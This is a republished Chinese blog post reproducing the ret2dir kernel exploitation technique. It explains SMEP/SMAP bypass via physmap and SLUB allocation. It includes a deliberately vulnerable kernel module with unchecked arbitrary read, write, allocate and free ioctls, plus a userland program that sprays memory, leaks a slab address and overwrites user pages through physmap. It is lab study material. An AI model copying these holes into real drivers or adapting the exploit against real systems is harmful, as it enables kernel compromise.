ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

ret2dir漏洞复现

2021-03-19 23:57:18  阅读:322  来源: 互联网

标签:cache addr slab args 漏洞 ioctl 复现 buf ret2dir


参考的博客:

ret2dir漏洞复现

原理

ret2dir是利用内核空间和用户空间的隐性地址共享来实现对一些SMEP和SMAP保护机制进行绕过

SMAP保护机制保证了内核只可以对内核空间里的数据进行访问,而physmap恰好处在内核空间中,却可以映射用户空间映射的物理地址

SMEP保护机制保证了内核态下无法执行用户空间的代码

liinux x86_64内存布局

  • 低128TB为用户空间
  • 在内核空间中,有一项名为physical_memory,physmap直接映射区

physmap:内核空间中一个大的、连续的虚拟内存空间,用来映射部分或所有(取决于具体架构)的物理内存

linux内核内存分配方式

  • 伙伴系统

    伙伴算法以页为单位来管理内存。

  • slub分配器

    在大多数情况下,程序需要的并不是一整页,而是几字节、几十个字节的小内存,于是出现了slub算法,slub系统运行在伙伴系统之上,为内核提供小内存管理的功能。

    slub把内存分组管理,每个组分别为 2 3 2^3 23、 2 4 2^4 24、 2 11 2^{11} 211 个字节大小,在4K页大小的默认情况下,另外还有两个特殊的组,分别为96B和192B大小,共11组,其数据结构为kmalloc_cache[12]

    slub相当于零售商,向伙伴系统批发内存,然后再零售出去。
    6f0tDH.jpg
    如上图所示,这也是伙伴算法运行的一个示意图

    kmalloc_caches[12] 中,每一项都代表一种大小的 slub分配器,它叫做 kmalloc_cache

    kmalloc_cache 中包含两个对象分别为 仓库kmem_cache_node、营业厅kmem_cache_cpu。其中营业厅中只保留一个slab,只有在营业厅kmem_cache_cpu中没有空闲内存object情况下才会从仓库中换出其他的slab

    slab就是零售商kmem_cache批发的连续的整页内存,零售商将这些整页的内存分成许多小内存object,然后分别零售出去,一个slab可能包含很多页,其大小与零售商有关。

    那么在向slub申请内存块时,slub系统把内存块当做object看待,分别有如下几种情况

    • slub系统刚刚创建出来,本次申请内存是第一次申请

      此时slub刚建立,kmem_cache_cpukmem)cache_node都没有slab可用。因此只能向伙伴算法申请空闲的内存页,并把这些页面分为很多个object,取出一个object标志为占用,并返回给用户。其余object标志为空闲并放在kmem_cache_cpu中保存。kmem_cache_cpu中的freelist指向下一个空闲的object,每一个空闲object也会指向下一个空闲object

    • slub的kmem_cache_cpu中保存的slab中有空闲的object可用

      这种情况,kmem_cache_cpu直接将空闲的object分配给用户,并将freelist指向下一个空闲的object

    • slub的kmem_cache_cpu中保存的slab的object已经分配完了,但是kmem_cache_node的partial中还有有空闲object的slab。

      所以从kmem_cache_node的partial中获取一个slab调入kmem_cache_cpu,并将kmem_cache_cpu已经分配完的slab放入kmem_cache_node的full指向的数据结构中。

    • slub的kmem_cache_cpu中无空闲object了,kmem_cache_node也没有空闲的object

      此时需要将kmem_cache_cpu中分配完的slab放入kmem_cache_node中full指向的双链表中,然后向伙伴系统申请一个新的slab,并分配一个空闲的object给用户。

    同样,在释放内存块时,也有三种情况

    • slab是满的

      那么就从该slab中的待释放object添加到空闲队列中,然后将该slab移到kmem_cache_nodepartial双链表中

    • slab不满,释放Object后也不是全空

      直接将该object加入到空闲队列中即可

    • slab不满,释放object后全空

      将object加入到空闲队列后,还需要把该slab释放掉

    slub实现了拿回来的object的第一个地址字存储的是free list,也恰好是某个object的地址

  • 漏洞利用方式

    • mmap喷射大量内存,提高命中概率
    • 在内核态分配内存,返回内存地址,泄露slab地址
    • 劫持内核执行流到physmap上

实现

内核模块的实现

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/string.h>
#include <linux/uaccess.h>
#include <linux/slab.h>
#include <linux/miscdevice.h>
#include <linux/delay.h>

MODULE_LICENSE("GPL");

#define READ_ANY 0x1337
#define WRITE_ANY 0xdead
#define ADD_ANY 0xbeef
#define DEL_ANY 0x2333

struct in_args {
    uint64_t addr;
    uint64_t size;
    char __user *buf;  // pointer to user space;
};

// 从内核空间中读取数据到用户空间
static long read_any(struct in_args *args) {
    long ret = 0;
    char *addr = (void *)args->addr;
    if (copy_to_user(args->buf, addr, args->size)) {
        return -EINVAL;
    }
    return ret;
}

// 将用户空间中的数据写到内核空间中
static long write_any(struct in_args *args) {
    long ret = 0;
    char *addr = (void *)args->addr;
    if (copy_from_user(addr, args->buf, args->size)) {
        return -EINVAL;
    }
    return ret;
}

// 在内核空间中创建一块内存,并向用户空间返回其首地址
static long add_any(struct in_args *args) {
    long ret = 0;
    char *buffer = kmalloc(args->size, GFP_KERNEL);
    if (buffer == NULL) {
        return -ENOMEM;
    }
    if (copy_to_user(args->buf, &buffer, 0x8)) {
        return -EINVAL;
    }
    
    return ret;
}

// 释放一块内存
static long del_any(struct in_args *args) {
    long ret = 0;
    kfree((void *)args->addr);
    return ret;
}

// 内核态ioctl处理程序
static long kpwn_ioctl(struct file *file, unsigned int cmd, unsigned long args) {
    long ret = -EINVAL;
    struct in_args in;
    if (copy_from_user(&in, (void *)args, sizeof(in))) {
        return ret;
    }
    switch (cmd) {
        case READ_ANY:
            ret = read_any(&in);
            break;
        case WRITE_ANY:
            ret = write_any(&in);
            break;
        case ADD_ANY:
            ret = add_any(&in);
            break;
        case DEL_ANY:
            ret = del_any(&in);
            break;
        default:
            ret = -1;
    }
    return ret;
}

// vfs_ioctl将通过fops->unlocked_ioctl调用驱动程序
static const struct file_operations fops = {
    .owner = THIS_MODULE,
    .open = NULL,
    .release = NULL,
    .read = NULL,
    .write = NULL,
    .unlocked_ioctl = kpwn_ioctl
};

// 注册一个字符设备,名称为kpwn,关联fops
static struct miscdevice misc = {
    .minor = MISC_DYNAMIC_MINOR,
    .name = "kpwn",	// 注册时将在/dev/文件夹下创建一个kpwn设备
    .fops = &fops
};

int init_module(void) {
    printk(KERN_INFO "Good Morning! hacker");
    int ret = misc_register(&misc);
    if (ret) {
        printk(KERN_INFO "misc register error!");
        return ret;
    }
    return 0;
}

void cleanup_module(void) {
    printk(KERN_INFO "Good Bye! hhh");
    misc_deregister(&misc);
}

用户层代码的实现

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/mman.h>
#include <signal.h>
typedef uint32_t u32;
typedef int32_t s32;
typedef uint64_t u64;
typedef int64_t s64;

void x64dump(char *buf, uint32_t num) {
    u64 *buf64 = (u64 *)buf;
    printf("[-x64dump-] start : \n");
    for (int i = 0; i < num; i++) {
        if (i % 2 == 0 && i) printf("\n");
        printf("0x%0161x ", *(buf64 + i));
    }
    printf("n[-x64dump-] end ... \n");
}

void loge(char *buf) {
    printf("[err] : %s\n", buf);
    exit(EXIT_FAILURE);
}

void logs(char *tag, char *buf) {
    printf("[ s]: ");
    printf(" %s ", tag);
    printf(": %s\n", buf);
}

void logx(char *tag, u32 num) {
    printf("[ x] ");
    printf(" %-20s ", tag);
    printf(": %-#8x\n", num);
}

void loglx(char *tag, u64 num) {
    printf("[ lx] ");
    printf(" %-20s ", tag);
    printf(": %-#16lx\n", num);
}

void bp(char *tag) {
    printf("[bp] : %s\n", tag);
    getchar();
}

#define READ_ANY 0x1337
#define WRITE_ANY 0xdead
#define ADD_ANY 0xbeef
#define DEL_ANY 0x2333

struct in_args {
    uint64_t addr;
    uint64_t size;
    char *buf;
};

void add_any(int fd, u64 size, char *buf) {
    struct in_args in;
    in.buf = buf;
    in.size = size;
    long res = ioctl(fd, ADD_ANY, &in);
}

// copy from kernel to user
void read_any(int fd, u64 addr, char *buf, u64 size) {
    struct in_args in;
    in.addr = addr;
    in.size = size;
    in.buf = buf;
    long res = ioctl(fd, READ_ANY, &in);
}

// copy from user to kernel
void write_any(int fd, u64 addr, char *buf, u64 size) {
    struct in_args in;
    in.addr = addr;
    in.buf = buf;
    in.size = size;
    long res = ioctl(fd, WRITE_ANY, &in);
}

void del_any(int fd, u64 addr) {
    struct in_args in;
    in.addr = addr;
    long res = ioctl(fd, DEL_ANY, &in);
}

#define spray_times 32*32
#define mp_size 1024*64

void *spray[spray_times];
void heap_spray() {
    void *mp;
    for (int i = 0; i < spray_times; i++) {
        if ((mp = mmap(NULL, mp_size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)) == MAP_FAILED) {
            logs("error", "heap spray");
            exit(0);
        }
        memset(mp, 'K', mp_size);
        spray[i] = mp;
    }
}

u64 check() {
    int i = 0;
    for (i = 0; i < spray_times; i++) {
        u64 *p = spray[i];
        int j = 0, upper = mp_size / 8;
        while (j < upper) {
            if (p[j] != 0x4b4b4b4b4b4b4b4b) {
                loglx("check change", (u64)&p[j]);
                return &p[j];
            }
            j += 0x1000 / 8;
        }
    }
    return NULL;
}

int main() {
    int fd = open("/dev/kpwn", O_RDONLY);
    logx("fd", fd);
    char *target = "KKKKKKKKKKKKKKKK";
    char *buf = malloc(0x1000);
    char *dirty = malloc(0x100);
    memset(dirty, 'A', 0x100);
    u64 *buf64 = (u64 *)buf;
    
    // copy from kernel to buf
    add_any(fd, 0x200, buf);
    
    // 'k' -> 'K'
    heap_spray();

    loglx("buf64 = ", buf64[0]);
    
    u64 slab_addr = buf64[0];
    slab_addr = slab_addr & 0xffffffffff000000;
    loglx("slab_addr", slab_addr);

    u64 addr = slab_addr;
    u64 pos = 0;

    u64 addr_to_change = 0;
    for (; addr < 0xffffc80000000000; addr += 0x1000) {
        memset(buf, 0, 0x1000);
        read_any(fd, addr, buf, 0x1000);
        pos = (u64) memmem(buf, 0x1000, target, 0x10);
        if (pos) {
            addr_to_change = addr + pos - (u64)buf;
            loglx("physmap hit addr", addr);
            loglx("addr to change", addr_to_change);
            write_any(fd, addr_to_change, dirty, 0x20);
            u64 *p = check();
            if (p) {
                logs("userspace", "already changed");
                x64dump((char *)p, 0x10);
                break;
            }
        }
    }
    bp("wait");
    return 0;
}

收获

ioctl的执行过程

  • 用户代码中执行ioctl(fd, cmd, args)

    其中cmd是有要求的,这里就不细说了

  • 用户代码的ioctl转去执行系统调用sys_ioctl,在32位平台下使用int 0x80中断转而执行系统调用,也可以采用sysenter进行系统调用,sysenter的效率相对较高,在64位系统可以直接使用syscall执行系统调用

  • 因为2010的一个CVE,内核中对sys_ioctl套了一个壳,在里面进行了两个安全检查,再执行do_vfs_ioctl

  • do_vfs_ioctl中对设备进行了判别,若为常规文件,则执行file_ioctl,否则执行vfs_ioctl

  • vfs_ioctl中,会去调用misc设备的fops->unlocked_ioctl程序

  • 在注册Misc设备时,会在/dev/文件夹下创建一个设备,名称为misc结构体里面指定的name

ioctl新增的两个安全检测机制

  • fget_light():检验完整性
  • security_file_ioctl():检验操作安全性

标签:cache,addr,slab,args,漏洞,ioctl,复现,buf,ret2dir
来源: https://blog.csdn.net/bunner_/article/details/115018315

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有